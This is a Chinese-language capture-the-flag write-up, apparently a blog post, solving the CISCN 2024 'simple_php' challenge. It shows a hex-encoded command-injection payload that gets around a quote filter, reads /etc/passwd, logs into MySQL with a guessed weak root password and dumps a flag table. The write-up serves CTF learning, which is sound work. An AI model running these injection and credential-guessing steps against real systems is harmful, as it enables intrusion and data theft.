ciscn2024

此次国赛,让我收获很多,让我知道了差距

simple_php

方法一:(本机做法)

发现php命令可以用

1
2
php -i
php -r

其中php -r 用于在命令行中直接执行一段php代码,而不需要将代码保存到一个文件中

也就是说-r后指定要执行的php代码,直接在终端上执行

payload

1
cmd=php -r eval(hex2bin(substr(_6563686f20606c73202f603b,1)));

ok,成功显示
分析一下payload
6563686f20606c73202f603b是十六进制字符
前面任意加一个字符却又从1开始提取字符串是因为这样可以把这串十六进制字符当成一个字符串来执行

这里可以在自己的服务器上测试

可以看到成功显示
当我我们去掉substr或者是把第一个字符去掉,substr从0开始截取

先从0截取且去掉我们额外加的字符

格式错误

把十六进制字符用单引号圈起

成功
说明刚在php解析器把它视为了一连串的字符,而不是一个字符串

同理,我们去掉substr

又是同样的报错

加上单引号就能正常执行了

相同点是,上面两个方法都需要单独加单引号
而题目中正则过滤了单引号,这就是substr的作用
至于说终端里为什么要加双引号,这是因为在不同环境下运行php代码时,解析和处理命令的方式有所不同

上面执行的是查看根目录,发现没有flag

直接用查找命令

没看到有flag的信息
env里也没有藏flag
cat /etc/passwd 发现有mysql
我也不知道是怎么猜出密码的哈哈,弱密码

看到一个数据库名为PHP_CMS,进去康康

1
echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`;

F1ag_Se3Re7这个就是flag了
使用查询语句

1
echo `mysql -u root -p'root' -e 'use PHP_CMS;select * from F1ag_Se3Re7'`;

成功获取flag

后面发现burpsuite可以%0a绕过正则,而在浏览器是不行的

也可以用diff读目录,dd读文件

还有很多方法,但是我都没找到

看了别人的题解说可以反弹shell
试了几次都没有成功,也有可能是我复现用的环境和比赛时候的不一样,复现用的ctfshow


ciscn2024
http://example.com/2024/05/29/ciscn2024/
作者
奇怪的奇怪
发布于
2024年5月29日
许可协议